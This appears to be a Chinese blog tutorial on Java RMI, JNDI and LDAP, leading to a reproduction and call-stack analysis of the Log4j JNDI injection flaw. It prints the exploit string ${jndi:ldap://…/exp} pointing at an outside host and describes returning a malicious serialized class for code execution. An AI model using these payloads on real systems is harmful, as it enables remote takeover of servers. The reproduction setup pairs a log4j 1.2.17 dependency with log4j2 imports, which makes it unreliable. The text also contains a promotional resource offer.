介绍
本篇主要介绍java的RMI、JNDI、LDAP，在后面会详细分析log4j的jndi注入原理。
什么是RMI
RMI全称是Remote Method Invocatioon，也就是远程方法调用，看起来和RPC（Remote Procedure Call）很像
实际上它俩的确很像，RMI算是JAVA定制版RPC吧
一个完整的RMI调用过程，需要下面几个部分
注册服务
RMIServer
客户端
接口
实现接口的类
执行流程如下
首先开启注册服务
RMI创建实现接口的类的对象，并在注册服务中注册
客户端从注册服务调用接口里的方法
先来个例子，说不多说，都在代码里（网上找的）
注册服务代码
【→所有资源关注我，私信回复“资料”获取←】
1、网络安全学习路线
2、电子书籍（白帽子）
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记
接口和实现接口的类
RMI服务
客户端
运行流程如下图
此图和上面的代码对应关系
Client -> Client存根(stub) -> Client代码中的remoteHello对象（是个代理类，在通过它调用方法时，会将参数，函数名等信息打包，发送给骨架，存根对象包含了RMIServer的端口和ip）rmiregistry -> RegServeerServer -> RMI骨架(Skeleton) -> 也是个代理类，监听4000端口，用于和存根通信，收到存根的请求后，去调用RemoteImp对应的方法，然后将结果返回给存根ServiceImpl -> RemoteImpl
所以，再以上面的代码为例，解读下执行流程
先启动Register服务（默认端口1099）
RMI去连接Register服务，并将Name和存根发送给Register服务
如图
Client连接Register服务，根据Name获取到对应存根，再通过存根调用sayHello("World")，因为存根是代理类，所以可以获取到函数名，参数，参数类型等信息，存根将这些信息打包，发给骨架
RMI的骨架也是代理类，通过反射调用remoteHello.sayHello("World")，获取返回值Hello, World，并发送给存根
Client的存根将从骨架获取到的返回值Return，这样Client端看起来就好像调用的是本地的方法
补充下，以上步骤，通过网络传输的数据都是通过序列化对象的形式，使用的协议是JRMP（Java Remote Method Protocol）协议 很重要！！！
上面的代码还可以写成简化版
如图服务端，在启动注册中心的同时，设置了存根和名字
客户端，通过url连接注册中心，获取存根
什么是JNDI
JNDI全称是Java Naming and Directory Interfac，翻译过来就是 java命名和目录接口.实际上，这里的Naming指命名服务，Directory指目录服务。
命名服务
就是通过对资源的命名，便于下次调用资源更方便（所以这里的Naming要唯一）。例如上面的例子中的注册服务，就属于命名服务将Hello绑定RemoteImpl对象，在使用时，直接通过名字Hello就可以获取到RemoteImpl的存根。
命名服务就像下面这个清单，为每一个名字绑定了一个资源。
目录服务
和命名服务很像，但更复杂，可以理解为一个清单，清单上有各种资源，每个资源又有自己的清单。举个例子，例如清单上有10台电脑，我选中一台小李的电脑，会获取到下一张清单，列出了小李电脑上的资源如：网络邻居、打印机、C盘等等，我打开网络邻居，又获得一张清单。
根据上面的例子可以发现，这个目录服务，和计算机上的目录很像，打开一个文件夹，可以看见下一层目录，再打开一个文件夹，又可以看见下一层目录。
我们熟知的dns就是目录服务，那它为什么属于目录服务，而不属于命名服务呢？
DNS服务
虽然在我们看来，通过域名，返回ip，特别像命名服务，但理解下dns解析过程就知道原因了。
如图，在查询dns时，本地dns服务器去请求dns根服务器然后再请求.com服务器，在请求163.com服务器，最后获得地址。
根服务器目录包含所有顶级域名的地址，如com、cn等
com服务器的目录中包含baidu、aliyun、tencent等
baidu.com服务器目录包含vip、mail、oa等
例如访问oa.baidu.com，则先去访问根服务器->com服务器->baidu服务器->获取到oa服务器地址
如图
像目录一样，层层解析，直到解析到想要域名的ip
如果使用命名服务要怎么实现DNS解析？
如图
每个域名对应一个ip，都存到一张表里，如果有很多个百度这样的公司，而百度有几千个子域名，每个子域名又有几百个子域名，这样域名数就会指数型增加，那这张表就会超级超级大。这就导致每查询一次都要很久很久，而且全球域名都靠这台服务器完成，这台服务器独揽大权，全球服务器的域名解析都它说了算。
这些dns服务器组成一个分布式目录服务，用来查询域名的ip，效率特别高。
树形结构
从上面这些描述和介绍应该对目录服务有了大概的了解，这种目录结构，叫做树形结构，如图。
目录服务总结
目录服务使用树形结构，这种结构优点是查询效率特别高，所以目录服务的优点之一就是查询效率特别高，缺点就是写数据慢，它可以是一种属性结构的数据库，也可以是上面那种分布式的目录服务
什么是JNDI
JNDI是 Java 命名与目录接口（Java Naming and Directory Interface），在J2EE规范中是重要的规范之一
J2EE规定了J2EE容器都要实现JNDI接口。在实际使用时，在J2EE容器中配置JNDI参数，这个容器就是数据源，在使用时，直接通过数据源名称就可以调用
一个mysql的配置文件示例如图，数据源名称就是MySqlDS
<?xml version="1.0" encoding="UTF-8"?><datasources><local-tx-datasource> <jndi-name>MySqlDS</jndi-name> <connection-url>jdbc:mysql://localhost:3306/lw</connection-url> <driver-class>com.mysql.jdbc.Driver</driver-class> <user-name>root</user-name> <password>rootpassword</password><exception-sorter-class-name>org.jboss.resource.adapter.jdbc.vendor.MySQLExceptionSorter</exception-sorter-class-name> <metadata> <type-mapping>mySQL</type-mapping> </metadata></local-tx-datasource></datasources>
在使用时
Context ctx=new InitialContext();Object datasourceRef=ctx.lookup("java:MySqlDS"); //引用数据源DataSource ds=(Datasource)datasourceRef;conn=ds.getConnection();/* 使用conn进行数据库SQL操作 */......c.close();通过JNDI统一的接口，只需要配置好数据源，在使用时，只需要调用lookup方法，查询数据源名称就可以获得数据源，使用数据库，不需要考虑不同数据库的驱动、连接、调用等方式，如果想换一个数据库，只需要修改下数据源配置文件就可以了。
什么是LDAP
LDAP（Light Directory Access Portocol），它是基于X.500标准的跨平台的轻量级目录访问协议。
LDAP是一种协议，轻量级目录访问的协议，说明它是实现，也是通过树形结构。
LDAP的中心概念是信息模型，它处理存储在目录中的信息种类和信息的结构。 信息模型围绕一个条目（即树的一个Node）进行，该条目是具有类型和值的属性的集合。 条目以树状结构组织，称为目录信息树。 这些条目是围绕现实世界的概念，组织，人员和对象组成的。 属性类型与定义允许信息的语法相关联。 单个属性可以在其中包含多个值。 LDAP中的专有名称从下至上读取。 左侧部分称为相对专有名称，右侧部分为基本专有名称。
LDAP协议主要用于单点登录SSO(Single Sign on)，一个典型案例是：
学校的单点登录系统，只需要在这里登录，则教务、WebVPN、校园网等系统都可以直接访问，不需要但需登录（我们学习在使用单点登录之前，每个系统都要单独登录）
LDAP可以用于SSO，但不等与SSO，这种协议还可以用于统一各种系统的认证方式、储存企业组织架构，员工信息（由于它使用树形结构，查询效率高）等等。如图
Log4j漏洞分析
网上流传的log4j exp ${jndi:ldap://dnslog.cn/exp} 其中包含了jndi和ldap
下面复现下漏洞并分析下原理
环境
创建Maven项目，添加依赖
<dependencies> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> </dependency></dependencies>
在resources目录添加配置文件
文件名：log4j.properties
### 设置###log4j.rootLogger = debug,stdout,D,E### 输出信息到控制抬 ###log4j.appender.stdout = org.apache.log4j.ConsoleAppenderlog4j.appender.stdout.Target = System.outlog4j.appender.stdout.layout = org.apache.log4j.PatternLayoutlog4j.appender.stdout.layout.ConversionPattern = [%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} method:%l%n%m%n### 输出DEBUG 级别以上的日志到=/home/duqi/logs/debug.log ###log4j.appender.D = org.apache.log4j.DailyRollingFileAppenderlog4j.appender.D.File = /home/duqi/logs/debug.loglog4j.appender.D.Append = truelog4j.appender.D.Threshold = DEBUG log4j.appender.D.layout = org.apache.log4j.PatternLayoutlog4j.appender.D.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n### 输出ERROR 级别以上的日志到=/home/admin/logs/error.log ###log4j.appender.E = org.apache.log4j.DailyRollingFileAppenderlog4j.appender.E.File =/home/admin/logs/error.log log4j.appender.E.Append = truelog4j.appender.E.Threshold = ERROR log4j.appender.E.layout = org.apache.log4j.PatternLayoutlog4j.appender.E.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n创建Main类
import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class aa { private static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { System.out.println(1); logger.error("${jndi:ldap://xxx.xxx/exp}"); System.out.println(2); }}运行成功收到dns请求
调试分析
首先跟进error
首先检测日志级别，判断是否记录
继续跟logMessage
后面调用的太多了，不一一截图了
调用栈如图
最终在这里调用lookup
调用了JNDI的lookup方法
如图，这里的context正是javax.naming.Context类型
通过刚开始对rmi、ldap、jndi的学习，应该知道这里是通过ldap请求资源，，由于这个过程中传输的对象都是序列化数据，客户端得到资源后会进行反序列化
所以只要搭建服务端，收到客户端请求就返回序列化的恶意class，就会导致客户端反序列化时执行恶意代码
总结
根据调用栈分析如下
由于输出的日志格式为
21:51:13.846 [main] ERROR Main - Hello
这个格式化过程在toSerializable函数中完成
通过11个formatters，分别获取时间21:51:13.846、函数名main、日志级别ERROR等信息，并拼接到一起
问题就出在这11个formatters之一的PatternFormatter上，它是负责解析message的(就是上面示例日志中的Hello)
如图，它在format方法中，打算先获取${xxx}的值，然后将${xxx}替换为获取到的值（具体如何解析，如何替换，就不分析了）
如图，这里的xxx除了jndi，还可以是date, java, marker, ctx, lower, upper, main, jvmrunargs, sys, env, log4j，有待挖掘
在对jndi进行lookup之前，从strLookupMap中获取到了jndi的lookup对象
如图，每一个key都对应一个lookup对象
这些lookup对象的作用，在官网已经说明了。例如：${lower:Hello}会被解析为hello，${upper:Hello}会被解析为HELLO，只不过一直没人翻文档，直到今天，这个jndi注入才被发现。
所以为题根源就在PatternFormatter，那所有使用PatternFormatter的库都有可能导致jndi注入，网上查了下PatternFormatter，有个POCO库用到了，c++的。
